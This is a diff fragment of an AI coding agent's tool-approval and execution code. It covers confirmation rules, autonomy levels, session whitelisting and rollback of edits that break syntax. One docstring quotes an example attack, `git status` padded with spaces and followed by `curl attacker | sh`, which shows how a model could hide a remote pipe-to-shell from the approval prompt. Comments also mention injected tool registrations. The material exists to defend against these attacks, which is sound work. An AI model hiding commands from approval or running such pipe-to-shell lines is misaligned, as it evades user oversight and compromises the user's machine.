+ p = app.repo_root / raw_path if not Path(raw_path).is_absolute() else Path(raw_path)
553
+ rejection = _should_reject_destructive_multi_edit(p, args.get("edits"))
554
+ if rejection:
555
+ return ToolResult(text=rejection, ok=False, facts={"tool": name, "ok": False, "path": str(raw_path)})
556
+
557
+ try:
558
+ result = _tools_dispatch_result(name, ToolContext(app=app, out=out), args)
559
+ except Exception as e:
560
+ text = f"Error in {name}: {type(e).__name__}: {e}"
561
+ return ToolResult(text=text, ok=False, facts={"tool": name, "ok": False, "error_type": type(e).__name__})
562
+
563
+ if target_path is not None and target_path.exists() and target_path.suffix == ".py":
564
+ # Python: ast.parse is cheap and authoritative.
565
+ import ast as _ast
566
+ try:
567
+ _ast.parse(target_path.read_text(errors="replace"))
568
+ except SyntaxError as se:
569
+ if snapshot_bytes is not None:
570
+ target_path.write_bytes(snapshot_bytes)
571
+ text = (
572
+ f"REJECTED: the edit broke Python syntax in {target_path.name} "
573
+ f"({se.msg} at line {se.lineno}). File was reverted. "
574
+ "Re-read the file and try a more targeted change — don't delete "
575
+ "import statements, function defs, or class headers unless the "
576
+ "user explicitly asked."
577
+ )
578
+ return ToolResult(text=text, ok=False, facts={"tool": name, "ok": False, "path": str(target_path), "reverted": True})
579
+ return result
580
+
581
+
582
+ def _execute_tool(app: "LocalCodeApp", name: str, args: dict, out: "OutputManager") -> str:
583
+ return _execute_tool_result(app, name, args, out).text
584
+
585
+ def _first_token(cmd: str) -> str:
586
+ """Leading command word, used as the key for per-session "always allow"
587
+ whitelisting. `git push ...` → "git", `pip install ...` → "pip".
588
+ """
589
+ return (cmd.strip().split() or [""])[0][:20].lower()
590
+
591
+
592
+ def _resolve_launch_details(repo_root: "Path | str") -> tuple[str, str, str]:
593
+ """(command, root, underlying_script) `launch_app` would run, or ('','','').
594
+
595
+ Resolved via the launcher's own detection so the approval prompt and
596
+ the hard-block screen see the SAME repo-controlled strings the tool
597
+ would execute ("{port}" stays as a placeholder — the launcher fills
598
+ in a free localhost port at start time). For npm wrappers the command
599
+ is just `npm run dev …` — the ACTUAL repo-controlled payload is the
600
+ package.json script body, so that is resolved too: it must be shown
601
+ to the user and screened by the hard block.
602
+ """
603
+ try:
604
+ from ..launcher import detect_launch_candidate
605
+ candidate = detect_launch_candidate(repo_root)
606
+ except Exception:
607
+ return "", "", ""
608
+ if candidate is None:
609
+ return "", "", ""
610
+ script = ""
611
+ try:
612
+ import json as _json
613
+ manifest = candidate.root / "package.json"
614
+ if candidate.command.startswith("npm ") and manifest.is_file():
615
+ data = _json.loads(manifest.read_text(errors="replace"))
616
+ scripts = data.get("scripts") if isinstance(data, dict) else None
617
+ if isinstance(scripts, dict):
618
+ key = "dev" if "npm run dev" in candidate.command else "start"
619
+ script = str(scripts.get(key, "") or "")
620
+ except Exception:
621
+ script = ""
622
+ return candidate.command, str(candidate.root), script
623
+
624
+
625
+ def _approval_display_command(app: "LocalCodeApp | None", name: str, args: dict) -> str:
626
+ """Build the string the approval prompt shows (and keys "always allow" on).
627
+
628
+ Shell tools carry a command; file-write tools carry a path. `launch_app`
629
+ carries NEITHER — its command comes from the repo's own manifest — so the
630
+ prompt must resolve and show that real command, not a blank line. MCP
631
+ tools show the tool name plus an args preview.
632
+ """
633
+ cmd = str(args.get("command", "") or "")
634
+ if cmd:
635
+ return cmd
636
+ if name == "launch_app":
637
+ action = str(args.get("action") or "start").strip().lower()
638
+ if action == "stop":
639
+ return "launch_app stop (SIGTERM the app process this session started)"
640
+ repo = getattr(app, "repo_root", None)
641
+ resolved, root, script = _resolve_launch_details(repo) if repo is not None else ("", "", "")
642
+ if resolved:
643
+ suffix = f" (cwd: {root})" if root else ""
644
+ # For npm wrappers, show the script body too — THAT is the
645
+ # repo-controlled command the user is actually approving.
646
+ if script:
647
+ suffix += f' [script: {script}]'
648
+ return f"launch_app {resolved}{suffix}"
649
+ return "launch_app (no launch command detected)"
650
+ path = str(args.get("path") or args.get("file_path") or "")
651
+ if not path and name.startswith("mcp_"):
652
+ try:
653
+ import json as _json
654
+ preview = _json.dumps(args, ensure_ascii=False, default=str)[:200]
655
+ except Exception:
656
+ preview = str(args)[:200]
657
+ return f"{name} {preview}".strip()
658
+ return f"{name} {path}".strip()
659
+
660
+
661
+ def _render_approval_command(cmd: str, width: int = 76, max_chars: int = 1500) -> list[str]:
662
+ """Prepare a command for the CLI approval prompt: escape control
663
+ characters and wrap the FULL text across lines.
664
+
665
+ The old rendering was `cmd[:80]` raw: everything past column 80 was
666
+ invisible at approval time, and the model controls the padding — so
667
+ `git status <60 spaces> ; curl attacker | sh` displayed as a bare
668
+ `git status`. Raw control characters could also repaint the line
669
+ (`\\r`, cursor moves) to hide the tail. Every character is now either
670
+ shown or explicitly counted in a truncation marker.
671
+ """
672
+ text = str(cmd or "")
673
+ hidden = max(0, len(text) - max_chars)
674
+ if hidden:
675
+ text = text[:max_chars]
676
+ safe: list[str] = []
677
+ for ch in text:
678
+ code = ord(ch)
679
+ if ch == "\n":
680
+ safe.append(ch)
681
+ elif code < 0x20 or code == 0x7F:
682
+ safe.append(f"\\x{code:02x}")
683
+ else:
684
+ safe.append(ch)
685
+ lines: list[str] = []
686
+ for raw_line in "".join(safe).split("\n"):
687
+ if not raw_line:
688
+ lines.append("")
689
+ continue
690
+ for i in range(0, len(raw_line), width):
691
+ lines.append(raw_line[i:i + width])
692
+ if hidden:
693
+ lines.append(f"… [+{hidden} more characters not shown]")
694
+ return lines
695
+
696
+ def _needs_confirmation(name: str, args: dict, app: "LocalCodeApp | None" = None) -> bool:
697
+ """Check if this tool needs user confirmation.
698
+
699
+ Honors the app's current autonomy level — FULL_AUTO bypasses confirmation
700
+ even for destructive patterns. This is checked PER-CALL so toggling
701
+ /permissions mid-task takes effect immediately.
702
+
703
+ Also honors the per-session "always allow" set built up when the user
704
+ picks option 2 on a prompt ("always allow `git`"). That set is on
705
+ `app._session_allow` — scoped to this process, cleared on next launch.
706
+ """
707
+ # Leaving plan mode drops the read-only overlay, and the plan-mode prompt
708
+ # tells the user exit_plan_mode "will return control to the user for
709
+ # approval" — so it genuinely asks. FULL_AUTO (and headless, which forces
710
+ # it) still skips the prompt via the check below.
711
+ _needs_plan_exit_ack = (
712
+ name == "exit_plan_mode" and bool(getattr(app, "plan_mode", False))
713
+ )
714
+
715
+ # Known read-only / internally-guarded built-ins never need confirmation.
716
+ # NOTE the inverted default: a tool that is NOT on the never-confirm list
717
+ # and NOT a shell/write tool (launch_app, any `mcp_*` tool, any unknown
718
+ # freshly-registered tool) falls through and IS confirmed below.
719
+ if (
720
+ not _needs_plan_exit_ack
721
+ and name not in _SHELL_EXEC_TOOLS
722
+ and name not in _FILE_WRITE_TOOLS
723
+ and name in _NEVER_CONFIRM_TOOLS
724
+ ):
725
+ return False
726
+
727
+ level = None
728
+ if app is not None:
729
+ try:
730
+ from ..autonomy import AutonomyLevel
731
+ level = getattr(app, "_autonomy", None)
732
+ # FULL_AUTO skips confirmation for everything (the hard-block in
733
+ # _execute_tool_result still applies — it is not an approval).
734
+ if level == AutonomyLevel.FULL_AUTO:
735
+ return False
736
+ except Exception:
737
+ level = None
738
+
739
+ if _needs_plan_exit_ack:
740
+ return True
741
+
742
+ # launch_app / mcp_* / unknown tools: always confirm on first use.
743
+ # `launch_app` executes a command the REPO controls (package.json
744
+ # scripts.dev/start); `mcp_*` tools belong to third-party servers; an
745
+ # unknown tool is exactly what an injected/compromised registration
746
+ # looks like. A session-scoped "always allow" (option 2 on the prompt)
747
+ # is honoured after the first approval — keyed on the tool name, which
748
+ # is the first token of the display command built by
749
+ # `_approval_display_command`.
750
+ if (
751
+ name not in _SHELL_EXEC_TOOLS
752
+ and name not in _FILE_WRITE_TOOLS
753
+ and name != "exit_plan_mode"
754
+ ):
755
+ # `launch_app stop` runs no repo-controlled command and can only
756
+ # SIGTERM a pid this session spawned — no prompt needed.
757
+ if name == "launch_app" and str(args.get("action") or "").strip().lower() == "stop":
758
+ return False
759
+ if app is not None:
760
+ allow = getattr(app, "_session_allow", None)
761
+ if allow and (name in allow or _first_token(name) in allow):
762
+ return False
763
+ return True
764
+
765
+ # File-write tools: auto-approved in auto_edit (the point of that mode);
766
+ # in suggest (read-only) mode every write is confirmed. Notebook scratch
767
+ # writes are never prompted.
768
+ if name in _FILE_WRITE_TOOLS:
769
+ try:
770
+ from ..autonomy import AutonomyLevel
771
+ if level != AutonomyLevel.SUGGEST:
772
+ return False
773
+ except Exception:
774
+ return False
775
+ raw_path = str(args.get("path", "") or args.get("file_path", "") or "")
776
+ if raw_path:
777
+ try:
778
+ from ..notebook import is_within_notebook
779
+ if is_within_notebook(Path(raw_path).expanduser()):
780
+ return False
781
+ except Exception:
782
+ pass
783
+ return True
784
+
785
+ # Shell-executing tools (bash, background_process).
786
+ cmd = args.get("command", "")
787
+ if app is not None:
788
+ allow = getattr(app, "_session_allow", None)
789
+ if allow and _first_token(cmd) in allow:
790
+ return False
791
+ # background_process hands a raw string straight to /bin/sh with no
792
+ # destructive-substring shortcut — always confirm it (unless full_auto or
793
+ # session-allowed above). In suggest mode, confirm any shell command.
794
+ if name == "background_process":
795
+ return True
796
+ try:
797
+ from ..autonomy import AutonomyLevel
798
+ if level == AutonomyLevel.SUGGEST:
799
+ return True
800
+ except Exception:
801
+ pass
802
+ # High-risk-but-sometimes-legit patterns (remote pipe-to-shell, force-push,
803
+ # sudo rm) are NOT hard-blocked — confirm them so the user can approve.
804
+ if _CONFIRM_SHELL_RE.search(cmd):
805
+ return True
806
+ return any(p in cmd for p in DESTRUCTIVE_PATTERNS)
807
+
808
+ def _request_approval_verdict(app: "LocalCodeApp | None", out: "OutputManager | None",
809
+ tool_name: str, cmd: str) -> str:
810
+ """Ask the user to approve one tool call. Returns "once" / "always" / "deny".
811
+
812
+ Single implementation shared by the main loop and by the sub-agent tool
813
+ (`tools/agent.py`), so a sub-agent can never dispatch a tool the parent
814
+ would have prompted for. Prefers the TUI approval callback; falls back to
815
+ the CLI three-option terminal prompt; denies if neither is usable.
816
+ """
817
+ callback = getattr(out, "_approval_callback", None) if out is not None else None
818
+ if callback is not None:
819
+ raw = callback(tool_name, cmd)
820
+ # Callback may be a bool (legacy) or the new verdict string.
821
+ if isinstance(raw, bool):
822
+ return "once" if raw else "deny"
823
+ return str(raw)
824
+
825
+ # CLI mode: terminal-based approval with 3 options.
826
+ import tty
827
+ import termios
828
+ if out is not None:
829
+ try:
830
+ out._stop_indicator()
831
+ except Exception:
832
+ pass
833
+ rule = app._composer_rule() if hasattr(app, "_composer_rule") else " " + ("─" * 60)
834
+ first_tok = _first_token(cmd) or tool_name
835
+ sys.stdout.write("\n\033[33m Allow this command?\033[0m\n")
836
+ # Full command, wrapped and control-escaped — never a raw 80-char slice
837
+ # (the TUI path in chat_log.py already wraps; this matches it).
838
+ for _line in _render_approval_command(cmd):
839
+ sys.stdout.write(f"\033[2m {_line}\033[0m\n")
840
+ sys.stdout.write(" \033[1m1\033[0m allow once\n")
841
+ sys.stdout.write(f" \033[1m2\033[0m always allow `{first_tok}` (this session)\n")
842
+ sys.stdout.write(" \033[1m3\033[0m deny\n")
843
+ sys.stdout.write("\033[s")
844
+ sys.stdout.write(f"\033[2m{rule}\033[0m\n")
845
+ sys.stdout.write(" › ")
846
+ sys.stdout.write(f"\n\033[2m{rule}\033[0m")
847
+ sys.stdout.write("\033[1A\r ")
848
+ sys.stdout.flush()
849
+ try:
850
+ fd = sys.stdin.fileno()
851
+ old = termios.tcgetattr(fd)
852
+ try:
853
+ tty.setraw(fd)
854
+ ch = sys.stdin.read(1)
855
+ finally:
856
+ termios.tcsetattr(fd, termios.TCSADRAIN, old)
857
+ except Exception:
858
+ try:
859
+ ch = input().strip()
860
+ except EOFError:
861
+ ch = "3"
862
+ sys.stdout.write("\033[u\033[J")
863
+ if ch in ("1", "y"):
864
+ return "once"
865
+ if ch == "2":
866
+ return "always"
867
+ return "deny"
868
+
869
+
870
+ def _render_markdown(text: str, console: Console | None = None) -> None:
871
+ """Render text as markdown, or plain text for narrow terminals."""
872
+ text = text.strip()
873
+ if not text:
874
+ return
875
+ cols = __import__("shutil").get_terminal_size().columns
876
+ width = cols - 4
877
+ if width < 60:
878
+ # Narrow terminal: just print with indent, no Rich formatting
879
+ for line in text.splitlines():
880
+ sys.stdout.write(f" {line}\n")
881
+ sys.stdout.flush()
882
+ return
883
+ c = Console(width=width, soft_wrap=True)
884
+ has_md = any(m in text for m in ("```", "###", "**", "- ", "1. ", "`"))
885
+ if has_md:
886
+ c.print(Padding(Markdown(text), (0, 2, 0, 2)))
887
+ else:
888
+ c.print(Padding(text, (0, 2, 0, 2)))
889
+
890
+ def _split_exit_code(result: str) -> tuple[int | None, str]:
891
+ """Split a bash result into (exit_code, body).
892
+
893
+ bash.py prepends `[exit code N]\\n` to a failed command's output as a
894
+ model-facing failure marker. Return the parsed code and the remaining body,
895
+ or (None, result) when the marker is absent (command succeeded).
896
+ """
897
+ s = result.lstrip()
898
+ if s.startswith("[exit code "):
899
+ end = s.find("]")
900
+ if end != -1:
901
+ try:
902
+ code = int(s[len("[exit code "):end].strip())
903
+ except ValueError:
904
+ return None, result
905
+ body = s[end + 1:]
906
+ return code, body[1:] if body.startswith("\n") else body
907
+ return None, result
908
+
909
+
910
+ def _redirect_note(result: str) -> str:
911
+ """Turn an internal `REJECTED …` string into a short user-facing note.
912
+
913
+ The full REJECTED payload (routing hints, "Suggested tool call: …",
914
+ hard-stop instructions) is for the model's recovery, not the user. Two
915
+ cases: a routing redirect ("use X instead") → "→ used X instead"; anything
916
+ else (repeat/hard-stop/unsafe/oversize block) → a neutral "→ skipped …"
917
+ note. Never show the raw protocol text.
918
+ """
919
+ import re
920
+ m = re.search(r"\buse\s+([a-z_]+)\s+instead", result)
921
+ if m:
922
+ return f"→ used {m.group(1)} instead"
923
+ low = result.lower()
924
+ if "hard stop" in low or "already failed" in low or "already ran" in low or "rewritten" in low:
925
+ return "→ skipped (repeating a call that won't help)"
926
+ if "safety ceiling" in low or "over the" in low:
927
+ return "→ skipped (too large — splitting instead)"
928
+ if "defer" in low or "blocked" in low or "live server" in low:
929
+ return "→ skipped that step"
930
+ return "→ adjusted approach"
931
+
932
+
933
+ def _brief_result(tool_name: str, result: str) -> str:
934
+ """Short summary of a tool result for terminal display."""
935
+ # Tool output reaches here still wrapped in the injection-defense
936
+ # <UNTRUSTED_DATA source="..."> fence on some paths (notably a history
937
+ # re-render, which recomputes the summary from the raw stored result). This
938
+ # is a DISPLAY summary, so unwrap first - otherwise the user sees the raw
939
+ # fence as the tool's "output" (e.g. `<UNTRUSTED_DATA source="$ node -v…`).
940
+ try:
941
+ from ..injection_defense import strip_untrusted
942
+ result = strip_untrusted(result)
943
+ except Exception:
944
+ pass
945
+ lines = result.strip().splitlines()
946
+ # Dedup short-circuits across ALL deduped tools (read_file,
947
+ # list_files, glob, grep) return a tiny "[DEDUP …]" stub. Counting
948
+ # lines / matches on the stub gives "1 lines" / "1 matches" in the
949
+ # chat log — looks like a 1-line file or 1 match, which confuses
950
+ # the user. Surface the dedup honestly first so the user can see
951
+ # the cache behaviour, then fall through to per-tool formatting.
952
+ s = result.strip()
953
+ if s.startswith("[DEDUP"):
954
+ return "already done — using cached result"
955
+ if s.startswith("[FILE UNCHANGED"):
956
+ return "unchanged — see earlier read"
957
+ # Internal tool-routing/hard-stop correction. This is a signal FOR THE
958
+ # MODEL, not the user — render a short neutral note, never the raw
959
+ # "REJECTED: …" / "REJECTED — HARD STOP: …" protocol text (both forms).
960
+ if s.startswith("REJECTED"):
961
+ return _redirect_note(s)
962
+ if tool_name == "read_file":
963
+ return f"{len(lines)} lines"
964
+ if tool_name == "write_file":
965
+ return result.strip()[:80] if result.strip() else "written"
966
+ if tool_name == "edit_file":
967
+ return result.strip()[:80] if result.strip() else "edited"
968
+ if tool_name == "bash":
969
+ # `[exit code N]` is a model-facing marker prepended to the output so the
970
+ # model knows the command failed. Don't show that raw token to the user:
971
+ # strip it, and render a clean "failed (exit N)" plus any real output.
972
+ exit_code, body = _split_exit_code(result)
973
+ body_lines = body.strip().splitlines()
974
+ if exit_code is not None:
975
+ head = body_lines[0][:80] if body_lines and body_lines[0].strip() else ""
976
+ tail = f" …({len(body_lines)} lines)" if len(body_lines) > 1 else ""
977
+ return f"failed (exit {exit_code}){(': ' + head) if head else ''}{tail}"
978
+ if not body.strip():
979
+ return "done (no output)"
980
+ if len(body_lines) <= 3:
981
+ return "\n".join(body_lines)[:200]
982
+ return f"{body_lines[0][:80]} …({len(body_lines)} lines)"
983
+ if tool_name == "grep":
984
+ return f"{len(lines)} matches" if lines and lines[0] else "no matches"
985
+ if tool_name in ("glob", "list_files"):
986
+ return f"{len(lines)} files"
987
+ if tool_name == "web_search":
988
+ return f"{len(lines) // 3} results" if lines else "no results"
989
+ return result[:80] if result else "done"
990
+
991
+ def _grounded_file_summary(repo: Path, changed_files: list[str]) -> str:
992
+ """Build a deterministic summary from files that actually exist on disk."""
993
+ existing: list[str] = []
994
+ for rel in changed_files:
995
+ path = repo / rel
996
+ if path.exists() and path.is_file():
997
+ existing.append(rel)
998
+
999
+ if not existing:
1000
+ return ""
1001
+
1002
+ lines = ["Updated files:"]
1003
+ for rel in existing:
1004
+ try:
1005
+ line_count = len((repo / rel).read_text(errors="replace").splitlines())
1006
+ lines.append(f"- `{rel}` ({line_count} lines)")
1007
+ except Exception:
1008
+ lines.append(f"- `{rel}`")
1009
+ return "\n".join(lines)
1010
+
1011
+ def _tool_stage_label(tool_name: str, args: dict) -> str:
1012
+ """Human-readable stage label for the indicator."""
1013
+ if tool_name == "bash":
1014
+ cmd = args.get("command", "")
1015
+ if "pip " in cmd:
1016
+ return "installing packages"
1017
+ if "npm " in cmd:
1018
+ return "installing packages"
1019
+ if "git " in cmd:
1020
+ return "git operation"
1021
+ if "python " in cmd or "pytest" in cmd:
1022
+ return "running code"
1023
+ return "running command"
1024
+ if tool_name == "write_file":
1025
+ return f"writing {Path(args.get('path', 'file')).name}"
1026
+ if tool_name == "edit_file":
1027
+ return f"editing {Path(args.get('path', 'file')).name}"
1028
+ if tool_name == "read_file":
1029
+ return f"reading {Path(args.get('path', 'file')).name}"
1030
+ if tool_name == "grep":
1031
+ return "searching code"
1032
+ if tool_name == "glob":
1033
+ return "finding files"
1034
+ if tool_name == "web_search":
1035
+ return "searching web"
1036
+ return tool_name